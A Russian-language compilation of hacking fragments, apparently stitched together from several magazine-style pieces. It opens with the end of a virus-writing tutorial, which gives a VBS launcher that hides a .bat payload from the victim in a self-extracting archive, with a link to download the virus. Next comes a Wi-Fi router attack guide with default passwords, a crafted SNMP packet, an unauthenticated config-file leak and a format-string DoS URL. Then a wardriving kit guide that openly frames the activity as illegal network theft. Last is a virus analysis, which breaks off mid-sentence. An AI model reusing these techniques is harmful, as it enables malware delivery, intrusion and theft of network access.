Только вот, есть одна здоровая загвоздка, из трёх компов (на которых я проверял эту команду), на двух автозагрузка не сработала просто убрала все элементы и как будто их и не было.
Но и тут есть запара жертва открывает вир видит выскакивает окно
жертва быстринько его закрывает и всё вир не сработал но я нашёл способ чтоб окно не открывалось нужно вписать скрипт в самораспоковуйщийся архив
и имно его архив и должен открыть а скрипт этот мы будем писать на vbs его можно создать в блокноке а прописывать мы там будем
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run”C:sistem32Connect.bat “, 0, true
Как видете тут указан путь к виру я не ззнаю какой путь будет у вас но в моём вире он такой какой я покозал
ну вот в принцепи и всё а мой вир вы можете скачать с http://depositfiles.com/files/k5dt7te0g
если чтото не поняли пишыте в коментарии я отвечу

интернетконецформыначалоформыМожно много писать об ошибках в протоколе WEP, использовании слабых ключей, перехвате воздушного трафика, атаках Man-in-the-Middle и прочей классике взлома Wi-Fi. Но обойти стороной тему ошибок в конкретных устройствах, в конкретных реализациях стандартов – нельзя, хотя бы потому что ты, ломая беспроводные сети, всегда имеешь дело с конкретным девайсом, а не абстрактной моделью, знакомой только по описанию “на бумаге”. И у каждого устройства свои слабости и баги, знать о которых нужно любому Wi-Fi-взломщику.
Возможные слабые места
Думаю, мы сразу начнем с места в карьер и обсудим возможные места, в которых могут скрываться слабости и уязвимости.
Как ты знаешь, помимо Wi-Fi-карточек, существует и множество других, более независимых устройств: видеокамеры с портом 802.11, точки доступа, беспроводные маршрутизаторы и умные пылесосы. Совершенно понятно, что оборудовать каждый такой девайс набором устройств, необходимым для удобной настройки и администрирования, очень дорого да и обычно неудобно. В самом деле, довольно глупая затея – присобачить к точке доступа ЖК-экран и клавиатуру. Так что большинство подобных устройств предоставляют удобный интерфейс для сетевого администрирования через http, а также SNMP. Действительно, интуитивно понятный web-интерфейс и красивый Wizard уже стали стандартом. Это, с одной стороны, плюс – удобно и дешево, а с другой – минус: редкой компании удается соблюсти все критерии информационной безопасности при проектировании таких интерфейсов. Все начинается с банальщины – со стандартных паролей к admin-зонам, ошибок в сценариях, багов в реализации SNMP, а заканчивается незащищенностью секретных данных. Нередко встречаются также более низкоуровневые ошибки – разнообразные переполнения при обработке сетевых пакетов, ошибки в работе DHCP и т.д. и т.п.
Практика позволяет познакомиться со всем этим и долго поддерживать знакомство, и порой не нужно прилагать никаких усилий, чтобы получить доступ к 802.11-устройству.
Доказательство – распространенность первой ошибки, о которой я расскажу.
Стандартные пароли
- Уязвимые устройства – все неадекватно настроенные. Чаще всего случается с девайсами D-Link – любимчиками домашних пользователей.
- Условия атаки – доступ к устройству через TCP/IP-сеть. Ты должен быть либо в одной кабельной сети, либо должен подключиться через Wi-Fi.
- Цель атаки – административный http-интерфейс.
- Описание.
Любое устройство с сетевым http-интерфейсом администрирования поставляется с минимальным набором предустановленных настроек, в том числе админские идентификаторы (логин/пароль). Некоторые пользователи по неизвестной мне причине на протяжении долгого времени не изменяют эти настройки, доверяясь стандартным заводским. Это свойственно, прежде всего, домашним пользователям, которые всерьез считают, что во всей окрестности их дома только они такие прогрессивные и их 802.11-сети ничего не угрожает. Но мы-то с тобой знаем, что это не так. Исторически сложилось так, что самые дешевые и доступные беспроводные устройства производит фирма D-Link. Если ты обнаружил такую точку доступа, считай, что тебе уже везет! А если у нее еще и стандартный SSID и отсутствует всякое шифрование, можешь смело радоваться. Я недавно столкнулся именно с таким случаем, когда просканировал окрестности своего жилища. Без проблем подключился к точке «», получил по DHCP сетевой адрес и сразу попробовал прителнетиться к 80-му порту точки доступа. Тут же выяснил, что там действительно висит некий web-сервер. Набрав в браузере http://192.168.1.1, я еще раз убедился, что передо мной роутер D-Link. Учитывая, что хозяева этого девайса не включили даже примитивного шифрования и не изменили SSID, я без раздумий ввел стандартную для D-LINK комбинацию “admin:admin” в форму аутентификации и получил доступ к админской панели. В итоге я стяжал доступ не только к халявному интернету, но и ко всему устройству: при определенном желании можно было даже увести логин/пароль от СТРИМ-аккаунта, не говоря уже о том, чтобы подменить DNS-серверы.
Чтобы попробовать этот прием в действии для устройств от других производителей, будет полезно ознакомиться со списком стандартных паролей сетевых устройств, который легко найти на www.phenoelit.de/dpl/dpl.html.
Ошибка управления через SNMP
- Уязвимые устройства – Orinoco Residential Gateway и Compaq WL310.
- Условия атаки – доступ к 192/UDP-порту.
- Цель атаки – доступ к SNMP.
- Описание.
SNMP – Simple Network Manager Protocol, простой протокол сетевого управления. Этот довольно старый протокол используется для удаленного управления сетевыми устройствами, в том числе беспроводным оборудованием. Беда в том, что и сам протокол обладает целым рядом недостатков, так еще и производители часто допускают нелепые ошибки. Тут уместно вспомнить ставшую уже крылатой фразу: “Если хотите безопасности при использовании SNMP, не используйте этот протокол”. Не вдаваясь в подробности, расскажу, что указанные в заголовке точки доступа подвержены следующей атаке. Если атакующий пошлет на 192 UDP-порт пакет хитроумного содержания, уязвимая точка ответит на него цепочкой байт, среди которых будет содержаться идентификатор Community name, используемый в этой реализации SNMP для нехитрой аутентификации. Захват этого ключа, а вернее имени, позволит получить доступ к SNMP-интерфейсу устройства. Для реализации атаки необходимо передать пакет следующего содержания:

Злой пакет
“x01×00x00×00x70×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00x00×00x00″
“x00×00x00×00x00×00x00×00x00×00x00×00″

Уязвимое устройство должно ответить такой вот цепочкой байт:
01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | …………….
00 00 00 00 00 60 1d 20 2e 38 00 00 18 19 10 f8 | …… .8……
4f 52 69 4e 4f 43 4f 20 52 47 2d 31 31 30 30 20 | ORiNOCO RG-1100
30 33 39 32 61 30 00 00 00 00 00 00 00 00 00 00 | 0392a0……….
02 8f 24 02 52 47 2d 31 31 30 30 20 56 33 2e 38 | ..$.RG-1100 V3.8
33 20 53 4e 2d 30 32 55 54 30 38 32 33 32 33 34 | 3 SN-02UT0823234
32 20 56 00 | 2 V.

Здесь параметр Community name, необходимый для дальнейшей аутентификации, равен 0392a0. Далее уже не составит особого труда написать несложный эксплойт для устройства, например на Perl. Для этого языка существует масса модулей, которые сделают работу с протоколом удобнее. За примером далеко ходить не нужно: Net::SNMP – идеальный вариант.
DoS и неавторизованный доступ
- Уязвимые устройства – Siemens SANTIS 50, Ericsson HN294dp, Dynalink RTA300W.
- Условия атаки – доступ к 280/TCP-порту.
- Цель атаки – DoS админского web-интерфейса, неавторизованный доступ к telnet CLI.
- Описание.
Удаленное администрирование указанных устройств реализуется при помощи web-интерфейса и обычного телнета. К сожалению, по умолчанию эти сервисы доступны только из кабельной сети, но нередко хозяева устройств активизируют возможность администрирования и через порт Wi-Fi.
Опытным путем было установлено, что, если посылать на 280/TCP-порт большое количество пакетов, девайс подвешивает web-интерфейс и позволяет подключиться к telnet CLI без аутентификации. В качестве примитивного эксплойта можно использовать даже известный сканер AMAP от THC:
$ amap 192.168.1.1 280
Если девайс уязвим, тебе удастся без аутентификации подключиться к телнету, получить управляющую информацию (используя команды, описанные в документации) и внести некоторые изменения в работу устройства.
Доступ к секретной информации через web
- Уязвимые устройства – 3Com ADSL 11g Wireless Router, 3Com OfficeConnect Wireless.
- Условия атаки – доступ к 80/TCP-порту.
- Цель атаки – доступ к чувствительной и управляющей информации.
- Описание.
Удивительно, но эти девайсы от 3COM страдают детским недочетом. Любой неавторизованный пользователь может получить в свои руки идентификаторы администратора, а также информацию о сети, в том числе используемые для шифрования ключи. Для получения доступа к этим данным достаточно обратиться через web-браузер к следующим адресам:
/main/config.bin
/main/profile.wlp?PN=ggg
/main/event.logs
Уязвимость format string
- Уязвимое устройство – 3COM OfficeConnect 812.
- Условия атаки – доступ к 80/TCP-порту.
- Цель атаки – реализация DoS-атаки через format string.
- Описание.
Как и положено, на 80-м порту устройства висит http-сервис, предоставляющий доступ к админскому интерфейсу. Если подключиться к устройству браузером, потребуется пройти аутентификацию, введя в web-форму логин и пароль. После неудачной проверки пароля устройство, помимо всего прочего, покажет тебе картинку c URL http://192.168.1.254/graphics/sml3com. Опытным путем было установлено, что, если обратиться браузером к http://192.168.1.254/graphics/sml3com%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s, устройство помигает лампочками и свалится в даун на некоторое время. Также этот девайс позволяет напрямую перезапустить себя через сценарии http://192.168.1.254/adsl_pair_select и
http://192.168.1.254/adsl_reset. Почему-то для доступа к этим страницам проходить аутентификацию не нужно.
Полный список паролей, устанавливаемых по умолчанию для разнообразных устройств, можно найти по адресу www.phenoelit.de/dpl/dpl.html. Этот лист периодически обновляется и содержит самую актуальную информацию.

интернетконецформыначалоформыВооружись до зубов для вардрайвинга
Тяга к халяве всегда была одной из главных особенностей русского национального характера! Методы добычи чего-нибудь “просто так” совершенствуются день ото дня. Наиболее популярным объектом добычи у жителей “виртуальных миров” является интернет. Однако для удачной охоты во всемирной паутине тебе понадобится целый арсенал спецсредств. О них и поговорим.
Особенности национального вардрайвинга
У рядовых пользователей всегда было желание сделать свою жизнь как можно удобнее. Когда-то таким удобством стала незабвенная ОС Windows, и хакеры до сих пор пользуются этим обстоятельством. Примерно в это же время пользователю показали пряник под названием dial-up, который тоже не остался без внимания “заинтересованной общественности”. Сейчас популярность завоевывают мобильность и свобода от проводов. Рядовые пользователи и крупные фирмы отдают все больше предпочтения беспроводным средствам для передачи данных. Как известно, “информация должна быть свободной”, поэтому ничто не мешает пользоваться чьей-нибудь выделенкой бесплатно. При этом в качестве внутренних ресурсов хакер получает документы, пароли к почте и много другой полезной информации той сети, к которой подключился. Существует масса материалов, описывающих методы взлома защиты различных сетей (в том числе беспроводных), написано много тематического софта, однако я расскажу об основе любого взлома – оборудовании. Когда речь идет о “стационарной” работе хакера, все просто. В этом случае подойдет компьютер средней мощности, сетевая карта или, в крайнем случае, модем. Все остальное – дело софта и головы хакера. В случае с вардрайвингом существует несколько обстоятельств и условий, которые являются определяющими факторами при выборе оборудования. Часть из них объективны (дождь, снег, жадность милиции), часть – зависит только от расположения конкретного вардрайвера.
Итак, выделим три главных правила, которые желательно соблюдать при выборе оборудования:
1) Мобильность
Вардрайвер почти обречен на скитания по городу и поиск беспроводных сетей, которые могут оказаться полезными для него. Чтобы эти скитания доставляли как можно меньше неудобств, необходимо позаботиться о комфортном перемещении и максимальном удобстве используемой вычислительной техники. По вопросам перемещения в пространстве обращайся в автомобильные издания. А по поводу вычислительной техники важно соблюсти следующее: это должны быть устройства с минимальным весом и работающие автономно.
2) Незаметность
Любой человек, совершающих противозаконные действия (статью 272 УК РФ еще никто не отменял), должен позаботиться о своей безопасности. В данном случае – привлекать как можно меньше внимания, поэтому попрощайся с параболическими антеннами (хотя их использование дало бы просто уникальные возможности), стационарными компьютерами, костюмами Микки-Мауса и прочими вещами, которые выделяют человека из толпы. Из этого правила (как впрочем, из любого) есть одно довольно интересное исключение, но о нем ниже.
3) Контроль местоположения
Или контроль возможности определения своих координат в пространстве. Это правило может пригодиться в двух случаях: жажда вернуться на “места боевой славы” и желание как можно скорее освободиться от опеки соответствующих органов. Это основные правила, которые рекомендуется использовать вардрайверу. Однако каждый может (а значит, должен?) подкорректировать и дополнить все вышесказанное исходя из своих внешних обстоятельств. Например, можно носить с собой удостоверение работника ЖЭКа, чтобы в любой нужный момент попасть на крышу жилого дома и тем самым добиться лучшего приема сигнала. Пользуясь простыми правилами и соображениями здравого смысла, попробуем подобрать оптимальный набор инструментов для занятий вардрайвингом.
Ружье, брезентовый плащ…
Для продуктивной охоты за беспроводными сетями можно подобрать несколько разных комплектов оборудования, но в большинство из них будет входить:
Ноутбук
Наверное, не стоит лишний раз расписывать роль ноутбука во взломе сети :) . Если же у тебя остались сомнения по поводу его необходимости в данной затее, почитай www.thg.ru/network/20050806/print.html. В данном обзоре больше всего внимания уделено моделям с самым продолжительным временем автономной работы, а также ноутбукам с наилучшим соотношением “вес-возможности”. Итак, какой же ноутбук нужен вардрайверу? Вот несколько вариантов: IBM ThinkPad X40, Fujitsu-Siemens LifeBook S7010 и Asus M3700N.
Ноутбуки от IBM являются образцом легендарной надежности, почти идеального баланса производительности и мобильности. В этом смысле ThinkPad X40 – не исключение. Только вдумайся: 7,5 часов автономной работы от стандартной батареи позволит работать почти полный день, а ночью ставить компьютер на зарядку (время зарядки – 3,5 часа). Благодаря удивительной легкости и компактности (вес – 1,23 кг, габариты – 268х211х21 мм), а также довольно высокой производительности (Intel Pentium M 1,2 ГГц, 512 Мб DDR SDRAM, видео Intel Extreme Graphics 2 и жесткий диск на 40 Гб) данный ноутбук, возможно, станет идеальным вариантом для вардрайвера. Однако если будет постоянно нужен оптический дисковод или большое количество портов, то данный ноутбук (и все машинки такого класса) уже не является хорошим решением, поскольку с док-станцией компьютер сильно прибавляет в весе. И тут возникает смысл присмотреться к Fujitsu-Siemens LifeBook S7010.
Данная модель также претендует на звание ноутбука с идеальным балансом производительности и мобильности. При весе 1,77 кг LifeBook S7010 обладает 14-дюймовой матрицей, оптическим приводом и большим количеством разъемов: 4х USB, PS/2, LPT, D-Sub, DVI, COM, RJ11. Модульный отсек, в который может быть установлен оптический привод (по умолчанию), жесткий диск или второй аккумулятор – очень существенные плюсы данной машинки. Время автономной работы несколько меньше, чем у предыдущего объекта тестирования, – пять часов. Похоже, в своем классе данный ноутбук является одним из лучших. Недостатков немного: матрица и цена. По поводу первой: было бы более правильным установить матрицу с разрешением 1400×1050 (SXGA+). Цена – $2200 – без комментариев. Стоит ли таких денег данный девайс? Это можно понять, посмотрев на 14-дюймовые ноутбуки в ценовой категории “до $1500″.
Asus M3700N относится к серии M3, которая позиционируется производителем как “Идеальный помощник для бизнес-пользователя: высокопроизводительный процессор, матрица с высоким разрешением, возможность установки второй батареи, небольшой вес и стильный дизайн”. Сразу стоит обратить внимание на матрицу: 14,1″ с разрешением SXGA+(1400×1050), что нечасто встретишь в ноутбуках данной категории. Дизайн действительно стильный, однако качество сборки несколько хуже двух вышеназванных моделей (Asus, конечно, уважаемая марка, однако до IBM ей далеко). Вес довольно небольшой – 2,3 кг, то есть на 500 грамм больше, чем Fujitsu-Siemens LifeBook S7010. Что касается портов вывода (это один из “козырей” Asus), четыре порта USB 2.0, один слот PCMCIA type II, порт LPT и выход на внешний монитор, разъем i-Link (IEEE-1394), инфракрасный порт. А вот беспроводная связь подкачала: всего лишь 802.11b. Обозначенное время работы от батареи – четыре часа, однако это не соответствует действительности. При “офисном режиме” работы ноутбук выдерживает примерно три часа, что является довольно средним показателем.
Вердикт: качественный, довольно легкий ноутбук за небольшие деньги.
Подводя итоги, можно сказать, что все три представленные здесь модели ноутбуков имеют право называться “лучшим выбором для вардрайвера”. Какой больше подходит тебе, решай сам! Стоит, однако, сказать, что чего-то в данном обзоре не хватает. Время поправить это недоразумение, представив еще одну модель. В этот раз для любителей Apple – PowerBook G4.
Данный девайс несколько не вписывается в правило №2 (”Незаметность”) – он слишком сильно отличается от ноутбуков wintel. Однако если для тебя “Think Different” – не пустые слова, это то, что нужно. Посмотрим, что предлагает “яблоко” для нужд рядового взломщика беспроводных сетей. Начнем с того, что процессора PowerPC хватит для решения большинства задач. У PowerBook отличная матрица, яркая и с приличными углами обзора. Вес ноутбука несколько великоват – 2,1 кг (против 1,23 у IBM), зато здесь “отдельная” видеокарта и винчестер на 60 Гб. С точки зрения аппаратной части – очень хорошая машинка для вардрайвера. Однако своеобразный софт делает решение такой задачи нетривиальным. В общем, пусть этот вопрос останется на совести любителей Apple. Остается добавить, что цена на сие чудо компьютерной техники – около $2000.
Внешние “насадки”
Какой бы замечательной вычислительной машиной ты ни обзавелся, для того чтобы взломать беспроводную сеть, нужно…. найти ее. Эффективный радиус охвата у встроенных Wi-Fi-адаптеров – 100 метров. Этого вполне достаточно для работы в офисе, однако для полноценного поиска и поддержки нормального радиолинка – едва ли. Это значит, что нам понадобится внешний Wi-Fi-клиент, причем с выходом на внешнюю антенну. Таким клиентом может быть либо сетевая карта, либо точка доступа с режимом Wireless Client.
Подходящие сетевые карты бывают двух форм-факторов: PCMCI и подключаемые по USB. Первые удобны с точки зрения их компактности, однако к ним неудобно подключать внешнюю антенну. Переходник, в народе именуемый pig-tail, с довольно большим усилием отключается от сетевушки. С другой стороны, если планируется использовать мощную антенну, использование PCMCI-карт – единственный выход. Таких карт на сегодняшний день очень немного, вот самые яркие представители:
Lucent ORiNOCO WaveLAN Turbo 11
Данная карточка совместима со стандартом 802.11b, однако при этом мощность передатчика 15 дБм – один из лучших показателей в своем классе. При работе на скорости 1 Мбит/с производитель обещает дальность связи до 540 метров. Интерфейс карты – PC Card Type II Extended. Цена карты составит около 60-ти вечнозеленых, что довольно дорого.
Cisco AIR-LMC340
Cisco – крупнейший в мире производитель сетевого оборудования. Однако, судя по всему, он отличается здоровым консерватизмом, что проявляется, прежде всего, в небольшом ассортименте беспроводной продукции. Представленная PCMCI-карта уникальна. Она не имеет выхода на внешнюю антенну. Встроенная антенна имеет коэффициент усиления – 2,2 дБ. Но здесь есть что усиливать: мощность передатчика составляет 100 мВт (20 дБ), а в PCMCI-картах почти невозможно встретить это. Более того, такая мощность редко встречается в точках доступа. К сожалению, карта работает в стандарте 802.11b. Цена девайса кусается – ~$200.
Кроме PCMCI-карт, выход на внешнюю антенну имеют некоторые особи сетевых карт, подключаемых по USB. Рассмотрение этих устройств выходит за рамки данной статьи, но их можно легко найти в Сети.
Компас, звезды…
Настоящий охотник за беспроводными сетями должен озаботиться определением координат, причем не столько своих, сколько объектов наблюдения. В любом крупном городе нашей необъятной Родины на сегодняшний день существует масса Wi-Fi-сетей. Запомнить их местоположение без соответствующего устройства нереально. Это насущное устройство имеет название – GPS-приемник.
Нас интересует устройство, которое можно подключить к компьютеру. COM-порт (большинство приемников подключаются именно по этому порту) не устроит: он встречается в современных ноутбуках слишком редко. Достойный пример – Garmin E-Trex Legend C.
При карманном размере (5,6х10,7х3,1 см) навигатор имеет большой цветной дисплей (176х200 пикселей; 3,3х4,3 см) и массу возможностей. Навигатор способен сохранять до 1000 путевых точек, 20 маршрутов по 125 точек, число точек в траектории – до 10 000. eTrex Legend содержит встроенный электронный компас, функцию выхода в заданную точку, функцию поиска обратного пути (TrackBack). Имеется возможность загрузки карт. Приемник неприхотлив и экономичен: для автономной работы в течение 36-ти часов ему требуется всего две АА батарейки, а в автомобиле – питание от штатного “прикуривателя” 12 В. В комплект входит интерфейсный USB-кабель, поэтому подключение к компьютеру не составит проблемы. Цена навигатора – $425.
Существует еще множество GPS-приемников с разными возможностями, но все это отдельные специализированные устройства. Однако существует реальная альтернатива в виде КПК плюс GPS-модуль формата CompactFlash (есть GPS-модули под SD, однако разумнее оставить этот слот под память). Для такой связки подойдет любой современный КПК с разъемами под CompactFlash и SD/MMC. В случае когда “подходит все”, принято акцентировать внимание на ценовых категориях low-end и hi-end, предоставив право выбора “золотой середины” читателю. Что ж, так и сделаем.
HP iPAQ hx2110
iPaq hx 2110 – младшая модель в обновленной линейке HP, состоящей из трех моделей: HP iPAQ hx2110, hx2410 и hx2750. Машинка комплектуется процессором Intel XScale PXA270 с частотой 312 Мгц, набором памяти 64+64 (ОЗУ+ПЗУ). Этого должно быть достаточно для выполнения основных задач, однако про ресурсоемкие задачи придется забыть. Трансфлективный экран имеет разрешение 320×240 точек, что гораздо больше, чем у большинства GPS-приемников. HP iPaq hx 2110 имеет встроенный модуль Bluetooth, который может быть очень удобен при обмене информацией с ПК. Цена устройства – $300.
Вердикт: если планируешь использовать КПК как GPS-навигатор, MP3-плеер и электронную записную книжку – трудно найти лучшее решение.
Fujitsu-Siemens Pocket Loox 718
Данный “карманный помощник класса люкс” является одним из самых дорогих КПК на платформе Pocket PC. Посмотрим, что же может предложить производитель за 530 американских президентов. Первое, что хочется отметить, – сенсорный экран с VGA-разрешением (640×480) это один из главных козырей современных КПК класса hi-end. Такой экран будет удобен не только при использовании GPS, но и практически во всех задачах, решаемых с помощью КПК. А расширить круг таких задач призван Intel XScale PXA272 – процессор, работающий на частоте 520 Мгц, и набор памяти 128+64 (ОЗУ+ПЗУ). Pocket Loox 718 поддерживает полный набор коммуникаций: Wi-Fi, Bluetooth, IrDA, USB-хост. К последнему можно напрямую подключать USB-накопители и другие устройства. Причем покупать дополнительный кабель не придется – он поставляется в комплекте. Отдельно стоит сказать о времени автономной работы (очень важный показатель для вардрайвера): на Pocket Loox 718 установлена батарея очень внушительной емкости (1640 мАч), которой хватает на 12 часов активной работы (при прослушивании музыки батарея “живет” 16 часов).
Вердикт: отличный девайс, сочетающий в себе самые последние достижения в области конструирования КПК.
Что касается GPS-модулей, их на сегодняшний день довольно много на рынке. Цена колеблется в районе $80-150 в зависимости от таких параметров, как точность определения координат, наличие коннектора для внешней антенны и прочее. В общем, при использовании КПК начального уровня цена решения КПК+GPS получается примерно такой же, как у отдельного GPS-приемника.
Стационарный вардрайвинг
Какие бы устройства ты ни использовал, “классический” вардрайвинг предполагает перемещение по городу в поисках беспроводных сетей. Но кто сказал, что это единственный способ получить доступ к “вражеской” сети? Есть другое решение. Как говорится, если вардрайвер не идет к сети, сеть идет к вардрайверу. Описываемый ниже способ подойдет самым отчаянным охотникам за чужой информацией. Итак, суть способа состоит в том, чтобы из дома (офиса, конспиративной квартиры) вести поиск беспроводных сетей и заниматься их взломом (а впоследствии пользоваться интернетом на халяву). Для этого понадобятся: стационарный компьютер или ноутбук, точка доступа, антенна.
Точки доступа
Задача – увидеть как можно больше беспроводных сетей из одной точки. Для того чтобы решить эту задачу, требуется создать как можно более широкую зону охвата собственной точки. Поэтому нам пригодится мощная точка доступа с возможностью подключения внешней антенны. Отличное решение – D-link DWL-2100AP. Это самая мощная двухдиапазонная точка в модельном ряду D-link в ценовой категории до $150. Производитель обещает следующие характеристики:
В модельном ряду D-link есть более мощные точки доступа, которые, к тому же, не сильно отличаются по цене от выбранной (например DWL-3200AP). Однако только DWL-2100AP и DWL-2210AP имеют режим работы “Wireless-client”, то есть эти точки могут быть использованы в качестве беспроводных сетевых карт. Выбор пал на первую по причине ее низкой стоимости. Более того, данная точка доступа может работать в режиме “точка – много точек”, поэтому ты получишь шанс обеспечить халявным интернетом не только себя, но и своих друзей, живущих неподалеку. В комплекте с DWL-2100AP поставляется всенаправленная антенна с коэффициентом усиления 3dbi, однако ее нужно заменить на что-нибудь более стоящее. И здесь есть два совершенно разных решения: всенаправленная или направленная антенна. Первая дает охват по всем направлениям (360 градусов по горизонтали), однако радиус действия при этом довольно небольшой – до 1,5 км на прямой видимости. Направленные антенны дают больший охват, но при этом только в ограниченном сегменте. Такую антенну придется направлять несколько раз, до тех пор пока не будет достигнут желаемый результат.
Удачной охоты!
Вардрайвинг – новое и довольно модное явление, которое может стать национальным видом спорта. Благодаря очень слабой защите беспроводных сетей это занятие стало уделом многих. Тем не менее, в любом деле есть специалисты и дилетанты. Специалиста видно сразу по набору инструментария. Кроме того, это занятие в России является незаконным, поэтому нелишней будет забота о собственной безопасности. В общем, выбирай свой “набор вардрайвера” и занимайся.
Расчет дальности связи для беспроводных устройств
У любого вардрайвера рано или поздно возникает вопрос: как узнать максимальное расстояние, на котором может быть расположена ломаемая точка доступа. И главное: как увеличить это расстояние? Для этого нам нужно обратиться к физическим законам распространения радиоволн, которые, кстати, еще никто не отменял. Для определения дальности связи рассчитывается суммарное усиление тракта и по графику определяется максимальное расстояние.
Для определения суммарного усиления тракта необходимо знать следующее: мощность передатчика (P), коэффициент усиления передающей и приемной антенны (Gt и Gr соответственно), чувствительность приемника (Pmin), потери в коаксиальном кабеле с обоих сторон (в нашем случае ими можно пренебречь). Тогда формула имеет вид: Y = P + Gt + Gr – Pmin. Стоит заметить, что все эти значения должны быть выражены в децибелах (дБ). Для того чтобы перевести милливатты (мВт) в децибелы, нужно взять десятичный логарифм числа и умножить его на 10. Для тех, кому лень считать, хороший калькулятор для расчета радиолинков – www.tayle.com/calc.php.
Не точкой доступа единой
По большому счету, вместо точки доступа можно использовать PCI-адаптер стандарта 802.11b/g и усилитель. Более того, существуют переходники со встроенным усилителем до 200 мВт. Однако при использовании точки доступа выигрыш не столько в мощности, сколько в разнообразии используемых средств. Почти все точки доступа ценовой категории “от $100″ могут работать в нескольких режимах, имеют DHCP-сервер, а также имеют режим hide, что очень важно для личной безопасности.

интернетProtected Mode – укрытие для вируса
Персональные компьютеры год от года становятся все сложнее и слож-
нее, используют все более высокие аппаратные и программные техноло-
гии. Компьютерные вирусы тоже не отстают и пытаются приспособиться
к новым условиям обитания. Так, вирусы научились заражать загрузоч-
ные сектора дисков, файлы для операционных систем DOS, Windows,
Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97.
Скрывая свое присутствие в системе, они стали невидимками, или
стелс-вирусами. Они научились быть полиморфными для того, чтобы
их распознавание стало еще более трудной задачей для разработчиков
антивирусных средств. С появлением процессоров i386 вирусы стали
использовать в своем коде 32-разрядные инструкции. В настоящее вре-
мя полиморфные вирусы используют 32-разрядные расшифровывающие
команды в своем декрипторе.
Одним словом, вирусы хотят выжить и победить. Для этого они исполь-
зуют все новые возможности, как программные, так и аппаратные. Но
защищенный режим работы, появившийся вместе с процессором i286,
до недавнего времени вирусам никак не удавалось “приручить”. Вернее,
были “пробы пера”, но реального решения этой задачи они не дали.
Загрузочный вирус PMBS, первым пытавшийся освоить защищенный ре-
жим (1994 г.), не мог ужиться ни с одной программой или драйвером
(EMM386, Windows, OS/2,…), которые также использовали в своей рабо-
те защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже
1994 г.) использовали только часть мощного защищенного режима и толь-
ко в то время, когда процессор работал в реальном режиме. Данные виру-
сы заменяли реальную таблицу векторов прерываний на собственную.
Но вот, похоже, проблема близка к разрешению: в России в “диком”
виде обнаружен файловый вирус PM.Wanderer, использующий защи-
щенный режим. Причем он более или менее корректно и стабильно вза-
имодействует с другими программами и драйверами, также использую-
щими защищенный режим.
PM.Wanderer является резидентным полиморфным вирусом, использу-
ющим защищенный режим процессоров i386-Pentium. Для установки
своей резидентной копии в память и переключения в защищенный ре-
жим процессора (Protected Mode) вирусом используется документиро-
ванный интерфейс VCPI (Virtual Control Program Interface) драйвера
расширенной памяти EMS (EMM386).
——————————————————————————–
При старте инфицированной программы вирусный полиморфный дек-
риптор расшифровывает основное тело вируса и передает ему управле-
ние. Далее основной вирусный код выделяет участок памяти в верхних
адресах, копирует в него собственный код и передает ему управление.
Затем он восстанавливает код инфицированного файла в программном
сегменте (для ЕХЕ-файлов также производит настройку адресов пере-
мещаемых элементов) и приступает к непосредственному внедрению
в память своей резидентной копии. .
В первую очередь вирус пытается вьыснить, установлен ли в системе драй-
вер EMS. Если этот драйвер не установлен или вирусная резидентная ко-
пия уже находится в памяти, вирус отдает управление программе-вирусо-
носителю, заканчивая тем самым свою “жизнедеятельность” в системе.
Если же “условия среды обитания” благоприятствуют, вирус выполня-
ет ряд подготовительных операций для выделения памяти под свое тело
и производит переключение процессора в защищенный режим работы
с наивысшим уровнем привилегий – режим супервизора.
В защищенном режиме вирус устанавливает две аппаратные контрольные
точки на адреса входа в обработчик прерывания INT 21h (функции DOS)
и перехода на процедуру перезагрузки компьютера. Кроме того, вирус
корректирует дескрипторную таблицу прерываний таким образом, чтобы
на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) ус-
тановить собственные дескрипторы обработчиков прерываний.
После этих приготовлений вирус копирует свой код в страницу памяти,
полученную им еще до входа в защищенный режим, и производит пере-
ключение процессора обратно в виртуальный режим работы. Затем он
начинает процедуру освобождения ранее выделенной памяти DOS
в верхних адресах и возвращает управление инфицированной программе.
С этого момента инфицированная программа начинает свою основную
работу, а в защищенном режиме оказываются установленными вирус-
ные обработчики – ловушки на INT 1 и прерывания от клавиатуры на
INT 9. С их помощью вирус контролирует, во-первых, все вызовы фун-
кций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих,
попытки мягкой перезагрузки компьютера. В свою очередь, такой конт-
роль обеспечивает вирусу возможность как надежно реагировать на ряд
интересующих его событий при работе программы, так и постоянно
проверять состояние двух своих контрольных точек и при необходимо-
сти восстанавливать их.
——————————————————————————–
В частности, если вирус обнаруживает, что данный вызов исходит
от его “собрата”, он просто возвращает некоторое условное значение,
играющее роль отзыва “я – свой”. Таким образом, вирус, пытавшийся
выяснить наличие своей копии в памяти, будет информирован о том,
что память уже инфицирована.
Если вирус обнаруживает попытку получения адреса прерывания INT 6
(обычно такой вызов существует во всех программах, написанных на
языках высокого уровня, например С, Pascal), то он 1″Ъ1тается найти
в адресном пространстве некоторую последовательность байт, очевидно
принадлежащих программе ADinf, но какой-то старой версии. Кстати,
по информации разработчика ADinf Дмитрия Мостового, за последний
год в версиях ADinf не содержится такая последовательность. Если дан-
ная последовательность вирусом найдена, он определенным образом
модифицирует найденный код, чтобы управление не попадало на вызов
межсегментной процедуры, демонстрирующей пользователю найденные
на диске или в файлах изменения.
Если же вирус обнаруживает запрос на запуск программы или открытие
файла (только на чтение), то понимает, что наступило время “большой
охоты”. Вирус копирует свой код в старшие адреса виртуального про-
цесса DOS-машины, переключает процессор в виртуальный режим
и отдает управление своему коду (процедуре заражения).
В виртуальном режиме вирус проверяет последние две буквы расшире-
